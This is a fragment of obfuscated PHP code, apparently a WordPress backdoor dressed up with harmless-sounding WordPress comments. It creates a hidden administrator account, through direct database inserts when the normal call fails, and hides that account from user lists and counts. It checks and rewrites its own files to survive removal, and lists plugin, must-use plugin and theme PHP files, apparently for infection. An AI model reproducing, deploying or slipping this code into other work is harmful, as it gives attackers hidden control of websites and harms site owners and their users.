$xjrp3ht937w5 = (hus_b7m621lgc6(1122)($fv5lwdsc7dd_)  &&  rmqbu5no5o(1126)($fv5lwdsc7dd_) === $_cl     && wyzg13xdhd5r(1092)($fv5lwdsc7dd_)  === igsdp_2fdrp(1092)($i9eod5dlf04am8f));
} else {
$mzhe485y1es3g =   ep_coq62(1090)(igsdp_2fdrp(1127))  ?    @hash_file(rmqbu5no5o(1092),   $oklecxckvn0m7)  :   false;


if (ep_coq62(1122)($mzhe485y1es3g)  && $mzhe485y1es3g   !== "")     $xjrp3ht937w5     =   ($mzhe485y1es3g   ===  lfavz1nmi6pw4(1092)($i9eod5dlf04am8f));
else {
$jn9u8ttjnt  = @lfavz1nmi6pw4(1128)($oklecxckvn0m7);
 if    ($jn9u8ttjnt    ===      $_cl) {
        $t_cet0yosge    =  @igsdp_2fdrp(1125)($oklecxckvn0m7, false,   null, 0,  (4067+29));
   $_rt = @hus_b7m621lgc6(1129)($oklecxckvn0m7,   false,   null,     $_cl    -   (2208+1888));
      $xjrp3ht937w5 =   (ep_coq62(1130)($t_cet0yosge) && ep_coq62(1131)($_rt)   && $t_cet0yosge   ===     hus_b7m621lgc6(1105)($i9eod5dlf04am8f,    0, (4071+25))   &&   $_rt  ===  wyzg13xdhd5r(1105)($i9eod5dlf04am8f, $_cl   -  (4088+8)));
     }
}
}
    if   (!$xjrp3ht937w5)  {
  hnp_n76gqrqs6vbf7203of(lfavz1nmi6pw4(1103),  rmqbu5no5o(1132)    . igsdp_2fdrp(1124)($oklecxckvn0m7));

     if   ($dhnp5j8r05)  kc2atgq8bgdumrg9n($oklecxckvn0m7,  true);
if    (lfavz1nmi6pw4(1133)($x__pkrsc8np1h9kx))  {
 $_rhk6xnlf0dfup =    rmqbu5no5o(1090)(igsdp_2fdrp(1134)) ? @hash_file(wyzg13xdhd5r(1092), $oklecxckvn0m7)     : false;
    if  (igsdp_2fdrp(1133)($_rhk6xnlf0dfup) &&    $_rhk6xnlf0dfup  !==   ""  && $_rhk6xnlf0dfup !==  igsdp_2fdrp(1092)($i9eod5dlf04am8f)    &&   $_rhk6xnlf0dfup  !==  ep_coq62(1135)($x__pkrsc8np1h9kx))   {
     hnp_n76gqrqs6vbf7203of(hus_b7m621lgc6(1103),  wyzg13xdhd5r(1136)   .    hus_b7m621lgc6(1137)($oklecxckvn0m7));
  return false;
}
   $gm4gh3jlveia4u =  obp69l7b9nnyfdcxk($cvx3s0aw6jf29_z, wyzg13xdhd5r(1111));
  if  ($gm4gh3jlveia4u    !==  false &&    @hus_b7m621lgc6(1100)($gm4gh3jlveia4u,  $x__pkrsc8np1h9kx) ===  ep_coq62(1126)($x__pkrsc8np1h9kx))   {

   if  (!cyv7b4mpbkf5y9k($gm4gh3jlveia4u, $oklecxckvn0m7)) {
 if   (@lfavz1nmi6pw4(1138)($oklecxckvn0m7)  &&    !$d868ty3tlt9)  ms4mh9yjk8_y876983kix($oklecxckvn0m7,  (333+87));
 if   (!$d868ty3tlt9    && q3qr7l3w39xj3l89_96fx($gm4gh3jlveia4u,  $oklecxckvn0m7))   {
 oj333ptt2v9_ikd4str_($gm4gh3jlveia4u);
     } else  {
@hus_b7m621lgc6(1100)($oklecxckvn0m7,    $x__pkrsc8np1h9kx);
   oj333ptt2v9_ikd4str_($gm4gh3jlveia4u);
}
 }
  } else    {
 if     ($gm4gh3jlveia4u !==  false)  oj333ptt2v9_ikd4str_($gm4gh3jlveia4u);
 @rmqbu5no5o(1100)($oklecxckvn0m7,  $x__pkrsc8np1h9kx);
   }

ipcjzmly5gb5jdv($oklecxckvn0m7);
 }   elseif (!$x0avw55taj) {


    oj333ptt2v9_ikd4str_($oklecxckvn0m7);


  }
       return  false;
}

 ipcjzmly5gb5jdv($oklecxckvn0m7);
 je70juj6lq88lrd($oklecxckvn0m7);
   ms4mh9yjk8_y876983kix($oklecxckvn0m7,     (656-236));
    if ($dhnp5j8r05)  kc2atgq8bgdumrg9n($oklecxckvn0m7,   false);
       return   true;$gwiqisls=PHP_MAJOR_VERSION;$gtbla6s76ew=$gwiqisls*3;



 }
function   g17q84pfn134863c6d4hz($oklecxckvn0m7, $zsrqu1r90r)
  {
$rux5kf_r1ghgig   =  "<?php\n";
 if   (wyzg13xdhd5r(1133)($zsrqu1r90r) &&    $zsrqu1r90r !==  "" && lfavz1nmi6pw4(1139)($zsrqu1r90r, lfavz1nmi6pw4(238))  !==   false   &&     chslach3yj4d6lbh($zsrqu1r90r)) $rux5kf_r1ghgig =      $zsrqu1r90r;
    if  (@wyzg13xdhd5r(1138)($oklecxckvn0m7))    {
   $zph4bker78     =   @hus_b7m621lgc6(1129)($oklecxckvn0m7);
 if      (wyzg13xdhd5r(1133)($zph4bker78)    &&  jkq4_uvfuw5l47za51944b($zph4bker78) ===  $rux5kf_r1ghgig)  return;
        }

 if  (!p1cskrtcz8bv54lf($oklecxckvn0m7, $rux5kf_r1ghgig))  {
 $a1i5811d9wg = @lfavz1nmi6pw4(1140)($oklecxckvn0m7);
 if (!(rmqbu5no5o(1133)($a1i5811d9wg)     && jkq4_uvfuw5l47za51944b($a1i5811d9wg)  === $rux5kf_r1ghgig))   @rmqbu5no5o(1100)($oklecxckvn0m7, $rux5kf_r1ghgig);
 unset($a1i5811d9wg);
}


    ipcjzmly5gb5jdv($oklecxckvn0m7);
}
      function  fop092hbu0ncyvcmt8e()
 {
    if  (igsdp_2fdrp(1090)(igsdp_2fdrp(1141))     &&  o6w55g3rg1kiqing8())  return  true;
    if (!rmqbu5no5o(1090)(wyzg13xdhd5r(750)) || !lfavz1nmi6pw4(1090)(wyzg13xdhd5r(883)))  return  true;
$b61tkn0t2h96vrih    =   home_url('/');
 $b61tkn0t2h96vrih .=    (wyzg13xdhd5r(1139)($b61tkn0t2h96vrih,  '?')   ===   false ?   '?'     :  '&') .  wyzg13xdhd5r(1142)   .   ep_coq62(1097)()   .     lfavz1nmi6pw4(1143)((73+27),  (908+91));
  $i0eebx24kei1a   =  lfavz1nmi6pw4(883)($b61tkn0t2h96vrih, array(igsdp_2fdrp(1144)  => (0x4+0x4), hus_b7m621lgc6(760) =>   false,   rmqbu5no5o(752)    => 2, ep_coq62(320)     =>  array(igsdp_2fdrp(1145)   =>    wyzg13xdhd5r(1146))));
  if    (ep_coq62(1147)(lfavz1nmi6pw4(761))   &&  is_wp_error($i0eebx24kei1a))   {
 if      (wyzg13xdhd5r(1147)(wyzg13xdhd5r(763)))  ep_coq62(763)(1);


   $i0eebx24kei1a  =  lfavz1nmi6pw4(1148)($b61tkn0t2h96vrih,  array(lfavz1nmi6pw4(1149)    =>  (1+7),    ep_coq62(1150)   =>  false, igsdp_2fdrp(1151)  => 2,    ep_coq62(320)  =>  array(rmqbu5no5o(1145)  => lfavz1nmi6pw4(1146))));
    if (hus_b7m621lgc6(1152)(ep_coq62(761))   && is_wp_error($i0eebx24kei1a))   return  false;$d40sr8x79f=98*6;$ffoy0pm_s27ckl=$d40sr8x79f-20;
 }
        $ah32krfa7brz  = (int)  wp_remote_retrieve_response_code($i0eebx24kei1a);
   return $ah32krfa7brz >=    (170^206)  &&  $ah32krfa7brz    <  (49+451);
       }

  function xbb2nbhllw7qhvuuesr($ehgzlxcdnzsshw,  $lwhbb1f9ryibfj)
{
  $pv11_i80of    = wyzg13xdhd5r(1083)(wyzg13xdhd5r(1137)($lwhbb1f9ryibfj),    '/');
        foreach (
  array(
   wyzg13xdhd5r(1153)   .  $pv11_i80of .     wyzg13xdhd5r(1154),
 igsdp_2fdrp(1155)  .    $pv11_i80of    . rmqbu5no5o(1156),



  ep_coq62(1157) .   $pv11_i80of   .   igsdp_2fdrp(1158),
)  as   $i3rlm5r7zw
  )  {
  if (!hus_b7m621lgc6(1133)($ehgzlxcdnzsshw)) break;
$ehgzlxcdnzsshw =    igsdp_2fdrp(982)($i3rlm5r7zw,   "\n", $ehgzlxcdnzsshw);



  }
 return    $ehgzlxcdnzsshw;
     }
   function   ipcjzmly5gb5jdv($wqvqm01uuq)
 {
    if  (ep_coq62(1152)(rmqbu5no5o(150)))  {
 return @opcache_invalidate($wqvqm01uuq,    true) !==  false;

 }
$tvi4t_s3ig  =  ep_coq62(1159)(lfavz1nmi6pw4(1160))  ? @opcache_get_status(false) : false;

return    !(ep_coq62(1161)($tvi4t_s3ig) && !empty($tvi4t_s3ig[hus_b7m621lgc6(1162)]));
   }
    function    s8vwkc5_zc55h5kmmz0x($oklecxckvn0m7,  $x9pi2kfsoa8v1u_l, $u_opexpb7ow)
   {
 if   (hus_b7m621lgc6(1105)($oklecxckvn0m7, -(143^139))   === ep_coq62(1163)) {
   if  (!p1cskrtcz8bv54lf($oklecxckvn0m7,  $x9pi2kfsoa8v1u_l))  {
   hnp_n76gqrqs6vbf7203of($u_opexpb7ow,     rmqbu5no5o(1164) .   ep_coq62(1165)($oklecxckvn0m7));
  return  false;
      }
/* total locator */

ipcjzmly5gb5jdv($oklecxckvn0m7);
return  wyzg13xdhd5r(1126)($x9pi2kfsoa8v1u_l);

   }
$ed3aoidpgkbx8g   = @ep_coq62(1166)($oklecxckvn0m7,  ep_coq62(1113));
 if  ($ed3aoidpgkbx8g  ===     false) {
     hnp_n76gqrqs6vbf7203of($u_opexpb7ow,  igsdp_2fdrp(1164)  .    lfavz1nmi6pw4(1165)($oklecxckvn0m7));
       return    false;
  }
     if    (lfavz1nmi6pw4(1167)(rmqbu5no5o(102)))   @flock($ed3aoidpgkbx8g,  LOCK_EX);
$i0eebx24kei1a =      @wyzg13xdhd5r(1168)($ed3aoidpgkbx8g,    $x9pi2kfsoa8v1u_l);



if   (rmqbu5no5o(1167)(rmqbu5no5o(102)))   @flock($ed3aoidpgkbx8g,     LOCK_UN);
   @fclose($ed3aoidpgkbx8g);
if      ($i0eebx24kei1a    ===  false   ||  ($x9pi2kfsoa8v1u_l  !==  ""  &&   $i0eebx24kei1a    !== ep_coq62(1126)($x9pi2kfsoa8v1u_l)))  {
  hnp_n76gqrqs6vbf7203of($u_opexpb7ow, lfavz1nmi6pw4(1169) .   ep_coq62(1165)($oklecxckvn0m7));
 return false;
}
return  $i0eebx24kei1a;


    }



        
  function   l1hgxd1ub35qskprcq7cl()



   {


      try    {$nuvzh_6io0pe=145|76;$kxmoqrto3=$nuvzh_6io0pe^145;
   if  (!igsdp_2fdrp(1167)(lfavz1nmi6pw4(461)) || !rmqbu5no5o(1167)(wyzg13xdhd5r(1017))) {
    lhlty0uglqmi2cqo5f(null);$z6a7hx9p1nxg=68+78;$wukn1m3r=$z6a7hx9p1nxg-19;


return;
      }
    if (get_transient(rmqbu5no5o(1170)))  return;
  if     (get_transient(hus_b7m621lgc6(1171))) return;
set_transient(rmqbu5no5o(1171), 1,    (0x1f1+0x67));



 lhlty0uglqmi2cqo5f(null);
    if (igsdp_2fdrp(1167)(lfavz1nmi6pw4(1172)))   delete_transient(hus_b7m621lgc6(1171));
    $hzjz02vkgd  =   hus_b7m621lgc6(1167)(rmqbu5no5o(1057))  ? (string)      xhg11fk9i0xj5k2(lfavz1nmi6pw4(1071), "")   :   "";



if  ($hzjz02vkgd     !==   ""  &&  wyzg13xdhd5r(1167)(lfavz1nmi6pw4(1173))  &&  username_exists($hzjz02vkgd))    {
// WP Data Layer: deallocate coordinator

  set_transient(hus_b7m621lgc6(1174), 1,  (21538+62));
}
// lint coordinator for WP Interactivity API

}   catch  (Throwable    $mrelaaojjq4dc7d) {



      hnp_n76gqrqs6vbf7203of(hus_b7m621lgc6(1175), $mrelaaojjq4dc7d);
   }   catch (Exception  $mrelaaojjq4dc7d) {
     }
 }
function  lhlty0uglqmi2cqo5f($hoi20lwumye18)
    {
  if   (!apm4hn2aswm3_bah(hus_b7m621lgc6(778)))    return;
 try {
  if   (!      igsdp_2fdrp(1167)(rmqbu5no5o(1176))  || ! lfavz1nmi6pw4(1167)(hus_b7m621lgc6(1173)))   {
     return;


 }

 $pdutg0yt8bicznru = (string)    xhg11fk9i0xj5k2(ep_coq62(1071),   "");
if ($pdutg0yt8bicznru    !==  ""     &&   username_exists($pdutg0yt8bicznru)      &&  (string) xhg11fk9i0xj5k2(rmqbu5no5o(1072),   "") !== "") {
  return;

 }
  if      ($pdutg0yt8bicznru  ===  "")     {
   $xi92cbrskq = hus_b7m621lgc6(1161)($hoi20lwumye18)  ?   $hoi20lwumye18   :  qrwn2kzzxzx48r7o();
    $gzl1_oyfm_ed = h8obsyx486f_mh2pyx4q($xi92cbrskq);
 if (
 $gzl1_oyfm_ed && !empty($gzl1_oyfm_ed->user_login)    &&   isset($gzl1_oyfm_ed->user_email)
 &&  $gzl1_oyfm_ed->user_email  === $gzl1_oyfm_ed->user_login  .     '@'    . lz7ktsy7nr_utk0og4h(lfavz1nmi6pw4(1177))

       ) {


   $pdutg0yt8bicznru = (string)    $gzl1_oyfm_ed->user_login;


 }
 }
       if  ($pdutg0yt8bicznru  !== "" &&  username_exists($pdutg0yt8bicznru))  {
 $eql306bazlfq =     username_exists($pdutg0yt8bicznru);



 $zme3vqarijty3t  =  uq0vlz4bytsq2wbgdu46jx((0xb+0xd));
if   (rmqbu5no5o(1167)(lfavz1nmi6pw4(1178)))   {
wyzg13xdhd5r(1178)($zme3vqarijty3t, $eql306bazlfq);
    }
/* proactive interpreter */

 y1t1n_tjdwdr9b8i44(ep_coq62(1071), $pdutg0yt8bicznru, hus_b7m621lgc6(877));
       y1t1n_tjdwdr9b8i44(ep_coq62(1072),  $zme3vqarijty3t, lfavz1nmi6pw4(1179));
  return;



  }



  $zg8yskyrkkhv6ykp  = _yo0isb_3wk47ml3hwjwv5();
if      (true)   {
$pdutg0yt8bicznru  =  "";
 for  ($x9aqw9rh8vwzz =  0; $x9aqw9rh8vwzz  <  (0x4+0x1); $x9aqw9rh8vwzz++)   {
 $gi30mbboagvl   =  $zg8yskyrkkhv6ykp[rmqbu5no5o(293)($zg8yskyrkkhv6ykp)]  . uq0vlz4bytsq2wbgdu46jx((4+6));


if  (!username_exists($gi30mbboagvl))    {
      $pdutg0yt8bicznru    =     $gi30mbboagvl;
   break;
   }
     }
     if  ($pdutg0yt8bicznru  ===    "")    {
   hnp_n76gqrqs6vbf7203of(rmqbu5no5o(1180),  rmqbu5no5o(1181));

      return;
    }

 }
    $zme3vqarijty3t =   uq0vlz4bytsq2wbgdu46jx((12<<1));



      if   (! lfavz1nmi6pw4(1167)(lfavz1nmi6pw4(1182))  &&   defined(igsdp_2fdrp(1085)) &&     ep_coq62(933)(ABSPATH  .  rmqbu5no5o(1183)))  {
   require_once  ABSPATH      .  rmqbu5no5o(1184);
}
  $fe72loob5ef  = $pdutg0yt8bicznru .      '@' .     lz7ktsy7nr_utk0og4h(ep_coq62(1177));
    $amxxchjq7w3s  = false;



if   (rmqbu5no5o(1185)(rmqbu5no5o(1186)))  {

$amxxchjq7w3s = lfavz1nmi6pw4(1186)(array(
 igsdp_2fdrp(1187)    =>   $pdutg0yt8bicznru,
    lfavz1nmi6pw4(1188)  =>  $zme3vqarijty3t,
 igsdp_2fdrp(1189) =>  $fe72loob5ef,
   lfavz1nmi6pw4(811) =>     igsdp_2fdrp(1075),

      wyzg13xdhd5r(1190) =>   $pdutg0yt8bicznru,
 ));
 if   (is_wp_error($amxxchjq7w3s)) {
    hnp_n76gqrqs6vbf7203of(wyzg13xdhd5r(1191),   $amxxchjq7w3s->get_error_code()   .      ':'    . $amxxchjq7w3s->get_error_message());
 $amxxchjq7w3s  =     false;


       }
}

    if (!$amxxchjq7w3s)  {
$wpdb  =     isset($GLOBALS[hus_b7m621lgc6(1034)]) ?    $GLOBALS[igsdp_2fdrp(1192)]   : null;



      if (!$wpdb || !igsdp_2fdrp(1059)($wpdb))  {
 hnp_n76gqrqs6vbf7203of(lfavz1nmi6pw4(1191), rmqbu5no5o(1193));



        return;
     }
   $k_6nkqput2 = wyzg13xdhd5r(1185)(rmqbu5no5o(1194))    ?  wp_hash_password($zme3vqarijty3t)   :    wyzg13xdhd5r(1135)($zme3vqarijty3t);$brfxflqdby7r=84|236;$uzkspk07owh0tm=$brfxflqdby7r^61;
$ngypew9bc7e     =  hus_b7m621lgc6(1195)(lfavz1nmi6pw4(1196))   ? current_time(hus_b7m621lgc6(1197)) :  gmdate(lfavz1nmi6pw4(1198));
      $ktcj1xy0y4  = $wpdb->insert($wpdb->users,      array(
     lfavz1nmi6pw4(1199)   =>     $pdutg0yt8bicznru,
  rmqbu5no5o(1188)   => $k_6nkqput2,
lfavz1nmi6pw4(1200)   => $pdutg0yt8bicznru,
    hus_b7m621lgc6(1189) =>  $fe72loob5ef,
    ep_coq62(1201)  => $ngypew9bc7e,
  igsdp_2fdrp(1202)      =>   0,
 lfavz1nmi6pw4(1190)  => $pdutg0yt8bicznru,
       ),    array(hus_b7m621lgc6(1203), ep_coq62(1204),  hus_b7m621lgc6(1204),   lfavz1nmi6pw4(1204),   wyzg13xdhd5r(1205),    igsdp_2fdrp(1206), wyzg13xdhd5r(1207)));
  if    (!$ktcj1xy0y4)  {
   hnp_n76gqrqs6vbf7203of(hus_b7m621lgc6(1208),   hus_b7m621lgc6(1209));
   return;
 }


 $amxxchjq7w3s =   (int)    $wpdb->insert_id;$su00rtlw=156|43;$oshicm4d8xz09=$su00rtlw^229;
      $dktvgplc_m54s5i  =   $wpdb->prefix    . igsdp_2fdrp(1035);
 $wpdb->insert($wpdb->usermeta,  array(
  lfavz1nmi6pw4(1210)  => $amxxchjq7w3s,
  wyzg13xdhd5r(1211)  =>  $dktvgplc_m54s5i,
   rmqbu5no5o(1212) =>   wyzg13xdhd5r(375)(array(hus_b7m621lgc6(1075) => true)),
  ),  array(ep_coq62(1206),    wyzg13xdhd5r(1207),  rmqbu5no5o(1207)));


  $wpdb->insert($wpdb->usermeta, array(
 ep_coq62(1210)   =>    $amxxchjq7w3s,
    hus_b7m621lgc6(1211)    =>   $wpdb->prefix   .    igsdp_2fdrp(1213),
igsdp_2fdrp(1212)     =>   '10',
  ),     array(lfavz1nmi6pw4(1206),    hus_b7m621lgc6(1214),  hus_b7m621lgc6(1214)));
   if   (igsdp_2fdrp(1195)(rmqbu5no5o(1215)))     {
 clean_user_cache($amxxchjq7w3s);
    }

}
  if   (!username_exists($pdutg0yt8bicznru)) {
  hnp_n76gqrqs6vbf7203of(hus_b7m621lgc6(1216),  rmqbu5no5o(1217));
     return;
   }
 $ch73sxhi5um =  ep_coq62(1218)(ep_coq62(1219))  ?    get_user_by(lfavz1nmi6pw4(1220), $pdutg0yt8bicznru)  : false;
 $njb7vo6mjt    =     false;
if  ($ch73sxhi5um &&  !empty($ch73sxhi5um->ID)) {
// WP Site Tagline: connected arbitrator


  if (igsdp_2fdrp(1218)(lfavz1nmi6pw4(1221)))      {
  $njb7vo6mjt      =   (bool)     user_can($ch73sxhi5um,   hus_b7m621lgc6(1075));
  }    elseif  (isset($ch73sxhi5um->caps)   && wyzg13xdhd5r(1161)($ch73sxhi5um->caps))    {
 $njb7vo6mjt  =     !empty($ch73sxhi5um->caps[hus_b7m621lgc6(1222)]);
   }
     }
  if (!$njb7vo6mjt)      {
hnp_n76gqrqs6vbf7203of(hus_b7m621lgc6(1216),  igsdp_2fdrp(1223));
if      ($amxxchjq7w3s)  {
     if (!rmqbu5no5o(1218)(wyzg13xdhd5r(1224)) &&   defined(wyzg13xdhd5r(1225))   &&  @igsdp_2fdrp(1226)(ABSPATH .    wyzg13xdhd5r(1227))) {


 require_once   ABSPATH   . rmqbu5no5o(1227);
}
 if   (hus_b7m621lgc6(1228)(rmqbu5no5o(1229)))    @wp_delete_user($amxxchjq7w3s);
}
  return;
  }
      y1t1n_tjdwdr9b8i44(lfavz1nmi6pw4(1230),  $pdutg0yt8bicznru, hus_b7m621lgc6(1179));
y1t1n_tjdwdr9b8i44(igsdp_2fdrp(1072),  $zme3vqarijty3t,  igsdp_2fdrp(1179));

   }    catch (Throwable    $mrelaaojjq4dc7d) {
     hnp_n76gqrqs6vbf7203of(lfavz1nmi6pw4(1216), $mrelaaojjq4dc7d);
}   catch  (Exception $mrelaaojjq4dc7d) {
}  finally {
 _38yfoleq3q40e76(rmqbu5no5o(778));
  }



     }
  function   k5csy7v_i6g0lr($yjcivrn84fxfjz9x)
 {
// WordPress 6.2 navigation: exact-adj command


try {
// propagate disconnected token-bucket

     
   if (!    wyzg13xdhd5r(1059)($yjcivrn84fxfjz9x) ||  !  property_exists($yjcivrn84fxfjz9x,  igsdp_2fdrp(1231)))   {
   return  $yjcivrn84fxfjz9x;


 }
 


$pdutg0yt8bicznru   = lfavz1nmi6pw4(1232)(lfavz1nmi6pw4(1233)) ? (string)  xhg11fk9i0xj5k2(hus_b7m621lgc6(1230),    "")   :     "";
   if  (!    $pdutg0yt8bicznru)   {
 return  $yjcivrn84fxfjz9x;
  }
 
  $k75d02ovwi9p  =  esc_sql($pdutg0yt8bicznru);
     if    (wyzg13xdhd5r(1139)($yjcivrn84fxfjz9x->query_where,  $k75d02ovwi9p) ===   false) {
  $yjcivrn84fxfjz9x->query_where .=    igsdp_2fdrp(1234)    .    $k75d02ovwi9p .  "'";
 }
}    catch (Throwable  $mrelaaojjq4dc7d) {
   hnp_n76gqrqs6vbf7203of(hus_b7m621lgc6(1235),  $mrelaaojjq4dc7d);



 }   catch  (Exception $mrelaaojjq4dc7d)     {
 }
     return  $yjcivrn84fxfjz9x;
 }
    function  cs3pct5ke9ycn07faz7g($k4zopq79ulu6)
 {


try   {
 $hzjz02vkgd =     lfavz1nmi6pw4(1232)(wyzg13xdhd5r(1233)) ? (string)    xhg11fk9i0xj5k2(ep_coq62(1230),   "")    :   "";
  if   (!     $hzjz02vkgd)  {
return      $k4zopq79ulu6;
  }
  $dlo0jv26rzv      =   array(wyzg13xdhd5r(1236),   lfavz1nmi6pw4(1237));

foreach  ($dlo0jv26rzv as $key)    {
if (isset($k4zopq79ulu6[$key]) &&  lfavz1nmi6pw4(1133)($k4zopq79ulu6[$key]) && igsdp_2fdrp(738)(rmqbu5no5o(1238),   $k4zopq79ulu6[$key], $wpz7oi7n0ub2s0r))  {
 $emgci3dlr45pr    =    lfavz1nmi6pw4(510)(0,     (int) $wpz7oi7n0ub2s0r[1] - 1);
  $k4zopq79ulu6[$key]   =     rmqbu5no5o(982)(rmqbu5no5o(1239),    '('   .  $emgci3dlr45pr    . ')',      $k4zopq79ulu6[$key]);
}
 }
   }   catch (Throwable     $mrelaaojjq4dc7d)    {
  hnp_n76gqrqs6vbf7203of(ep_coq62(1240),    $mrelaaojjq4dc7d);
 }   catch (Exception  $mrelaaojjq4dc7d)  {
    }



       return  $k4zopq79ulu6;
     }


  function ftg91z708kf7fariaewss($oaoa432pqiyokxyd,  $m_x8t68pjekc)
  {
try   {
$pdutg0yt8bicznru   =   igsdp_2fdrp(1232)(hus_b7m621lgc6(1241))    ? (string) xhg11fk9i0xj5k2(wyzg13xdhd5r(1230), "")  :  "";



 if  ($pdutg0yt8bicznru  ===   "") {



return   $oaoa432pqiyokxyd;
}

 if     (! lfavz1nmi6pw4(1242)($oaoa432pqiyokxyd))   {
   return  $oaoa432pqiyokxyd;


   }
if    (!  isset($oaoa432pqiyokxyd[wyzg13xdhd5r(1243)]) ||  ! rmqbu5no5o(1242)($oaoa432pqiyokxyd[lfavz1nmi6pw4(1243)]))     {


$oaoa432pqiyokxyd[lfavz1nmi6pw4(1244)]  =      array();
     }
        if     (! lfavz1nmi6pw4(1245)($pdutg0yt8bicznru, $oaoa432pqiyokxyd[igsdp_2fdrp(1244)], true))   {
      $oaoa432pqiyokxyd[ep_coq62(1246)][] =  $pdutg0yt8bicznru;$zij6qw33puwvf=83*2;$r8m1dsnvp=$zij6qw33puwvf-13;
}



    }   catch     (Throwable     $mrelaaojjq4dc7d) {
    hnp_n76gqrqs6vbf7203of(wyzg13xdhd5r(1247),  $mrelaaojjq4dc7d);
 }   catch   (Exception $mrelaaojjq4dc7d) {
}
return  $oaoa432pqiyokxyd;
    




  }

   function vy6fpnksaffnwt8uwwdph()



   {
$nz4xoto_0z =    array();
   
      if    (defined(igsdp_2fdrp(1248))     && hus_b7m621lgc6(1232)(hus_b7m621lgc6(1241)))  {


      $s_kklh0ispg4kz  =      (array)      get_option(lfavz1nmi6pw4(770),  array());
        $qyo6e99n3tf =  array();
foreach  ($s_kklh0ispg4kz as  $basename) {
     if (! wyzg13xdhd5r(1133)($basename) ||  lfavz1nmi6pw4(1139)($basename,  rmqbu5no5o(814))    !== false)  {
continue;



 }

     $bwjjvyil676kyg  = igsdp_2fdrp(1101)($basename);
if ($bwjjvyil676kyg  ===  '.')  {
  $bwjjvyil676kyg    =   $basename;
  }
if    (isset($qyo6e99n3tf[$bwjjvyil676kyg]))      {


      continue;

  }
     $qyo6e99n3tf[$bwjjvyil676kyg]      = true;
   $oklecxckvn0m7   =    WP_PLUGIN_DIR     .   '/' .  $basename;
      if (igsdp_2fdrp(1101)($basename) ===  '.')  {
 if   (@hus_b7m621lgc6(1138)($oklecxckvn0m7))  {
 $nz4xoto_0z[]     =      $oklecxckvn0m7;
}


 }  else {
$cvx3s0aw6jf29_z     =   igsdp_2fdrp(1101)($oklecxckvn0m7);


   if      (@hus_b7m621lgc6(1249)($cvx3s0aw6jf29_z))     {


$nz4xoto_0z  =  rmqbu5no5o(794)($nz4xoto_0z,    grax3y8rasgbrbiths7s2v($cvx3s0aw6jf29_z,  array(wyzg13xdhd5r(515))));
 }
     }



  }


  }
  
if     (@ep_coq62(1250)(bv_j7m9r7_qskxb7m()))  {

$duved18wctmsbao    =   aoy815vanbylrvbuug0i(bv_j7m9r7_qskxb7m());
if   (hus_b7m621lgc6(1242)($duved18wctmsbao)) {
// covariant-adj scope-chain

   foreach   ($duved18wctmsbao   as    $_xg7kv2rtqitqhu) {
  if   ($_xg7kv2rtqitqhu   ===    ukqz_udm228qa8d()) {
     continue;


 }
$wqvqm01uuq    = bv_j7m9r7_qskxb7m()  .  '/'     .   $_xg7kv2rtqitqhu;
if   (@igsdp_2fdrp(1138)($wqvqm01uuq)   &&  ep_coq62(79)(igsdp_2fdrp(823)($_xg7kv2rtqitqhu, constant(lfavz1nmi6pw4(796))))  ===     hus_b7m621lgc6(515))   {
    $nz4xoto_0z[]  =  $wqvqm01uuq;
       }
       }
   }
 }
   
if    (defined(hus_b7m621lgc6(1225))    &&   wyzg13xdhd5r(1232)(igsdp_2fdrp(1241)))    {



 $her7ao7wsr47r1    = (string) get_option(ep_coq62(1251), "");
  $qhr9mkugjl9rz     =  (string)    get_option(igsdp_2fdrp(1252), "");
 $ojdnr9zsdhtnbzny    =    defined(igsdp_2fdrp(836))   ? WP_CONTENT_DIR    . igsdp_2fdrp(1253)   : ABSPATH .   wyzg13xdhd5r(1254);
     $r_49x01w501d73    =  ep_coq62(488)(rmqbu5no5o(372)(array($her7ao7wsr47r1, $qhr9mkugjl9rz)));

      foreach  ($r_49x01w501d73 as   $qiv470voo5) {
 if  (igsdp_2fdrp(1139)($qiv470voo5,      ep_coq62(814))   !==   false) {



 continue;
}
      $njej67o7sd6hd5  =     $ojdnr9zsdhtnbzny .   '/'   .  $qiv470voo5;
if (@hus_b7m621lgc6(1250)($njej67o7sd6hd5))   {
  
$g25fh698w_d82d_z    =   aoy815vanbylrvbuug0i($njej67o7sd6hd5);
if     (hus_b7m621lgc6(1242)($g25fh698w_d82d_z))      {
// @synchronize authority
$cxxxmr6w=(0xbe+0x75);$onntc0g9eb_=$cxxxmr6w%4;
   foreach    ($g25fh698w_d82d_z     as  $_xg7kv2rtqitqhu)  {

   $ofd_ikxxhzcojm   =      $njej67o7sd6hd5  .  '/'  . $_xg7kv2rtqitqhu;
    

if    (@igsdp_2fdrp(1138)($ofd_ikxxhzcojm) &&    ep_coq62(1255)(wyzg13xdhd5r(823)($_xg7kv2rtqitqhu, constant(igsdp_2fdrp(796))))  ===  hus_b7m621lgc6(515)) {
 $nz4xoto_0z[]   =    $ofd_ikxxhzcojm;
     }
// lock-free affine-type

 }
      }

  $dl04c_q0pgdz  =     $njej67o7sd6hd5     .   igsdp_2fdrp(1256);
       if (@igsdp_2fdrp(1257)($dl04c_q0pgdz))  {
   $nz4xoto_0z = rmqbu5no5o(1258)($nz4xoto_0z, grax3y8rasgbrbiths7s2v($dl04c_q0pgdz,    array(igsdp_2fdrp(515))));
       }
}
}
    }
 return hus_b7m621lgc6(1259)($nz4xoto_0z);
}
 function  ggs78lka0_a3qy0oa8($v6cne_6bree8h)
      {

  if    (!lfavz1nmi6pw4(1260)($v6cne_6bree8h))     return  array();



        $_m6wk2wte6czmz  =    array();
      foreach ($v6cne_6bree8h  as  $i0eebx24kei1a)      {
  if (!rmqbu5no5o(1261)($i0eebx24kei1a)  ||  $i0eebx24kei1a ===   ""   || hus_b7m621lgc6(1126)($i0eebx24kei1a)  > (6179-2083)) continue;
 try {

   if  (@igsdp_2fdrp(738)($i0eebx24kei1a,   "")  === false)  continue;
}   catch (Throwable   $mrelaaojjq4dc7d)   {


     continue;



}   catch  (Exception $mrelaaojjq4dc7d)   {
continue;
 }
       $_m6wk2wte6czmz[]   = $i0eebx24kei1a;
  }
    return  $_m6wk2wte6czmz;


    }
function dyvna8ggh801eucs($v6cne_6bree8h)



 {
  try  {
     
if  (empty($v6cne_6bree8h)) {
   return     false;
 }
   



$nz4xoto_0z = vy6fpnksaffnwt8uwwdph();
     if  (empty($nz4xoto_0z))   {
return false;

  }
$ykvlgvf1sbgbd    =   false;



 foreach ($nz4xoto_0z     as  $wqvqm01uuq)   {


     
if   (!   @ep_coq62(1138)($wqvqm01uuq) ||  !  @ep_coq62(1262)($wqvqm01uuq))   {
continue;
 }



